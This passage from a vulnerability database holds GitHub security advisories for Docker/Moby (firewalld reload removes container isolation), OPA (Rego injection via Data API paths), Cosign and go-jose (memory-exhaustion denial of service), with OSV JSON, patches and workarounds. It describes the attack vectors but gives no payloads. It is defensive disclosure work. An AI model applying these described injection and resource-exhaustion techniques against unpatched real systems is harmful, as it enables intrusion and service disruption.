Moby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.
Workarounds
After reloading firewalld, either: - Restart the docker daemon, - Re-create bridge networks, or - Use rootless mode.
References
https://firewalld.org/ https://firewalld.org/documentation/howto/reload-firewalld.html
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.0.12"
},
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "26.0.0-rc1"
},
{
"fixed": "28.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54410"
],
"database_specific": {
"cwe_ids": [
"CWE-909"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-29T19:56:25Z",
"nvd_published_at": "2025-07-30T14:15:28Z",
"severity": "LOW"
},
"details": "Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as [moby/moby](https://github.com/moby/moby) is commonly referred to as Docker, or Docker Engine.\n\nFirewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.\n\n### Impact\n\nThe iptables rules created by Docker are removed when firewalld is reloaded using, for example \"firewall-cmd --reload\", \"killall -HUP firewalld\", or \"systemctl reload firewalld\".\n\nWhen that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.\n\nOnce these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.\n\nContainers running in networks created with `--internal` or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.\n\nWhere Docker Engine is not running in the host\u0027s network namespace, it is unaffected. Including, for example, Rootless Mode, and Docker Desktop.\n\n### Patches\n\nMoby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.\n\n### Workarounds\nAfter reloading firewalld, either:\n- Restart the docker daemon,\n- Re-create bridge networks, or\n- Use rootless mode.\n\n### References\nhttps://firewalld.org/\nhttps://firewalld.org/documentation/howto/reload-firewalld.html",
"id": "GHSA-4vq8-7jfc-9cvp",
"modified": "2026-03-27T17:37:52Z",
"published": "2025-07-29T19:56:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-4vq8-7jfc-9cvp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54410"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/49443"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/49728"
},
{
"type": "WEB",
"url": "https://firewalld.org/documentation/howto/reload-firewalld.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moby firewalld reload removes bridge network isolation"
}
GHSA-6M8W-JC87-6CR7
Vulnerability from github – Published: 2025-05-01 17:02 – Updated: 2025-05-05 22:02Impact
When run as a server, OPA exposes an HTTP Data API for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document reference is constructed from the requested path. This query is then used for policy evaluation.
A HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.
Users are only impacted if all of the following apply:
- OPA is deployed as a standalone server (rather than being used as a Go library)
- The OPA server is exposed outside of the local host in an untrusted environment.
- The configured authorization policy does not do exact matching of the
input.pathattribute when deciding if the request should be allowed.
or, if all of the following apply:
- OPA is deployed as a standalone server.
- The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA’s Data API.
Note: With no Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are not considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.
Patches
Fixed in OPA v1.4.0.
Workarounds
Don’t publicly expose OPA’s RESTful APIs
Unless necessary for production reasons, network access to OPA’s RESTful APIs should be limited to localhost and/or trusted networks.
Since OPA v1.0, unless otherwise configured, the server listener defaults to localhost.
Enable Authentication to Only Allow Access to Trusted Clients
A configured authentication scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn’t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.
Perform Path Validation Using OPA’s Authorization Policy Functionality
OPA can be configured to use an Authorization Policy to validate all incoming requests. By authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.
The HTTP path in a Data API request is of the format /v1/data/{path:.+} (/v0/data/{path:.+}, for the v0 Data API), where data/{path:.+} directly corresponds to a reference to a virtual document, and a prefix of {path:.+} corresponds to a Rego package declaration.
E.g. the HTTP path v1/data/do/re/mi corresponds to the data reference data.do.re.mi, where do.re is the package and mi is the rule in the following Rego module:
package do.re
mi if {
...
}
Unless otherwise configured, OPA will use the rule at data.system.authz.allow as Authorization Policy. Authorization is enabled by starting OPA with the --authorization=basic flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the --bundle flag or through discovery) or as an individual module via the command-line.
A trivial Authorization Policy example:
package system.authz
allowed_paths := [
["v1", "data", "policy1", "allow"],
["v1", "data", "policy2", "allow"],
...
]
allow if {
input.path in allowed_paths
}
Note: configuring an Authorization Policy in OPA isn't the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa/v1/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46569"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-01T17:02:58Z",
"nvd_published_at": "2025-05-01T20:15:37Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWhen run as a server, OPA exposes an HTTP[ Data API](https://www.openpolicyagent.org/docs/latest/rest-api/#data-api) for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document [reference](https://www.openpolicyagent.org/docs/latest/policy-language/#references) is constructed from the requested path. This query is then used for policy evaluation.\n\nA HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.\n\n**Users are only impacted if all of the following apply:**\n\n* OPA is deployed as a standalone server (rather than being used as a Go library)\n* The OPA server is exposed outside of the local host in an untrusted environment.\n* The configured [authorization policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) does not do exact matching of the `input.path` attribute when deciding if the request should be allowed.\n\n**or, if all of the following apply:**\n\n* OPA is deployed as a standalone server.\n* The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA\u2019s Data API.\n\n**Note:** With **no** Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are **not** considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.\n\n### Patches\n\nFixed in OPA v1.4.0.\n\n### Workarounds\n\n#### Don\u2019t publicly expose OPA\u2019s RESTful APIs ####\n\nUnless necessary for production reasons, network access to OPA\u2019s RESTful APIs should be limited to `localhost` and/or trusted networks. \nSince OPA v1.0, unless otherwise configured, the server listener defaults to `localhost`.\n\n#### Enable Authentication to Only Allow Access to Trusted Clients ####\n\nA configured [authentication](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn\u2019t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.\n\n#### Perform Path Validation Using OPA\u2019s Authorization Policy Functionality ####\n\nOPA can be configured to use an [Authorization Policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) to validate all incoming requests.\nBy authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.\n\nThe HTTP path in a Data API request is of the format `/v1/data/{path:.+}` (`/v0/data/{path:.+}`, for the v0 Data API), where `data/{path:.+}` directly corresponds to a reference to a virtual document, and a prefix of `{path:.+}` corresponds to a Rego `package` declaration. \nE.g. the HTTP path `v1/data/do/re/mi` corresponds to the data reference `data.do.re.mi`, where `do.re` is the package and `mi` is the rule in the following Rego module:\n\n```rego\npackage do.re\n\nmi if {\n\t...\n}\n```\n\nUnless otherwise [configured](https://www.openpolicyagent.org/docs/latest/configuration/#miscellaneous), OPA will use the rule at `data.system.authz.allow` as Authorization Policy. Authorization is enabled by starting OPA with the `--authorization=basic` flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the `--bundle` flag or through [discovery](https://www.openpolicyagent.org/docs/latest/management-discovery/)) or as an individual module via the command-line.\n\nA trivial Authorization Policy example:\n\n```rego\npackage system.authz\n\nallowed_paths := [\n\t[\"v1\", \"data\", \"policy1\", \"allow\"],\n\t[\"v1\", \"data\", \"policy2\", \"allow\"],\n\t...\n]\n\nallow if {\n\tinput.path in allowed_paths\n}\n```\n\n**Note:** configuring an Authorization Policy in OPA isn\u0027t the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.",
"id": "GHSA-6m8w-jc87-6cr7",
"modified": "2025-05-05T22:02:31Z",
"published": "2025-05-01T17:02:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/security/advisories/GHSA-6m8w-jc87-6cr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46569"
},
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/commit/ad2063247a14711882f18c387a511fc8094aa79c"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-policy-agent/opa"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3660"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "OPA server Data API HTTP path injection of Rego"
}
GHSA-88JX-383Q-W4QC
Vulnerability from github – Published: 2024-04-11 17:05 – Updated: 2024-04-11 17:05Summary
A remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.
Details
The root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a SIGKILL after a few seconds of system-wide denial.
The root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:
https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239
...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of f *attached, go-containerregistry will invoke this API:
https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40
func (rl *remoteLayer) Compressed() (io.ReadCloser, error) {
// We don't want to log binary layers -- this can break terminals.
ctx := redact.NewContext(rl.ctx, "omitting binary blobs from logs")
return rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)
}
Notice that the second argument to rl.fetcher.fetchBlob is verify.SizeUnknown which results in not using the io.LimitReader in verify.ReadCloser:
https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100
func ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {
w, err := v1.Hasher(h.Algorithm)
if err != nil {
return nil, err
}
r2 := io.TeeReader(r, w) // pass all writes to the hasher.
if size != SizeUnknown {
r2 = io.LimitReader(r2, size) // if we know the size, limit to that size.
}
return &and.ReadCloser{
Reader: &verifyReader{
inner: r2,
hasher: w,
expected: h,
wantSize: size,
},
CloseFunc: r.Close,
}, nil
}
Impact
This issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer.
Remediation
Update to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/cosign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/cosign/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29902"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-11T17:05:01Z",
"nvd_published_at": "2024-04-10T23:15:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nA remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.\n\n### Details\nThe root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a `SIGKILL` after a few seconds of system-wide denial.\n\nThe root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:\n\nhttps://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239\n\n...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of `f *attached`, go-containerregistry will invoke this API:\n\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40\n```golang\nfunc (rl *remoteLayer) Compressed() (io.ReadCloser, error) {\n\t// We don\u0027t want to log binary layers -- this can break terminals.\n\tctx := redact.NewContext(rl.ctx, \"omitting binary blobs from logs\")\n\treturn rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)\n}\n```\n\nNotice that the second argument to `rl.fetcher.fetchBlob` is `verify.SizeUnknown` which results in not using the `io.LimitReader` in `verify.ReadCloser`:\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100\n```golang\nfunc ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {\n\tw, err := v1.Hasher(h.Algorithm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr2 := io.TeeReader(r, w) // pass all writes to the hasher.\n\tif size != SizeUnknown {\n\t\tr2 = io.LimitReader(r2, size) // if we know the size, limit to that size.\n\t}\n\treturn \u0026and.ReadCloser{\n\t\tReader: \u0026verifyReader{\n\t\t\tinner: r2,\n\t\t\thasher: w,\n\t\t\texpected: h,\n\t\t\twantSize: size,\n\t\t},\n\t\tCloseFunc: r.Close,\n\t}, nil\n}\n```\n\n### Impact\nThis issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer. \n\n### Remediation\nUpdate to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.",
"id": "GHSA-88jx-383q-w4qc",
"modified": "2024-04-11T17:05:01Z",
"published": "2024-04-11T17:05:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/security/advisories/GHSA-88jx-383q-w4qc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29902"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/commit/629f5f8fa672973503edde75f84dcd984637629e"
},
{
"type": "WEB",
"url": "https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/cosign"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/releases/tag/v2.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cosign malicious attachments can cause system-wide denial of service"
}
GHSA-C5Q2-7R4C-MV6G
Vulnerability from github – Published: 2024-03-07 22:54 – Updated: 2025-02-13 19:07Impact
An attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.
Patches
The problem is fixed in the following packages and versions: - github.com/go-jose/go-jose/v4 version 4.0.1 - github.com/go-jose/go-jose/v3 version 3.0.3 - gopkg.in/go-jose/go-jose.v2 version 2.6.3
The problem will not be fixed in the following package because the package is archived: - gopkg.in/square/go-jose.v2
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/go-jose/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/square/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28180"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-07T22:54:44Z",
"nvd_published_at": "2024-03-09T01:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.\n\n### Patches\nThe problem is fixed in the following packages and versions:\n- github.com/go-jose/go-jose/v4 version 4.0.1\n- github.com/go-jose/go-jose/v3 version 3.0.3\n- gopkg.in/go-jose/go-jose.v2 version 2.6.3\n\nThe problem will not be fixed in the following package because the package is archived:\n- gopkg.in/square/go-jose.v2",
"id": "GHSA-c5q2-7r4c-mv6g",
"modified": "2025-02-13T19:07:25Z",
"published": "2024-03-07T22:54:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-c5q2-7r4c-mv6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28180"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/0dd4dd541c665fb292d664f77604ba694726f298"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/add6a284ea0f844fd6628cba637be5451fe4b28a"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/f4c051a0653d78199a053892f7619ebf96339502"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD2GSBQTBLYADASUBHHZV2CZPTSLIPQJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I6MMWFBOXJA6ZCXNVPDFJ4XMK5PVG5RG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IJ6LAJJ2FTA2JVVOACCV5RZTOIZLXUNJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JNPMXL36YGS3GQEVI3Q5HKHJ7YAAQXL5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KXKGNCRU7OTM5AHC7YIYBNOWI742PRMY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MSOMHDKRPU3A2JEMRODT2IREDFBLVPGS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UG5FSEYJ3GP27FZXC5YAAMMEC5XWKJHG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJO2U5ACZVACNQXJ5EBRFLFW6DP5BROY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJDO5VSIAOGT2WP63AXAAWNRSVJCNCRH"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.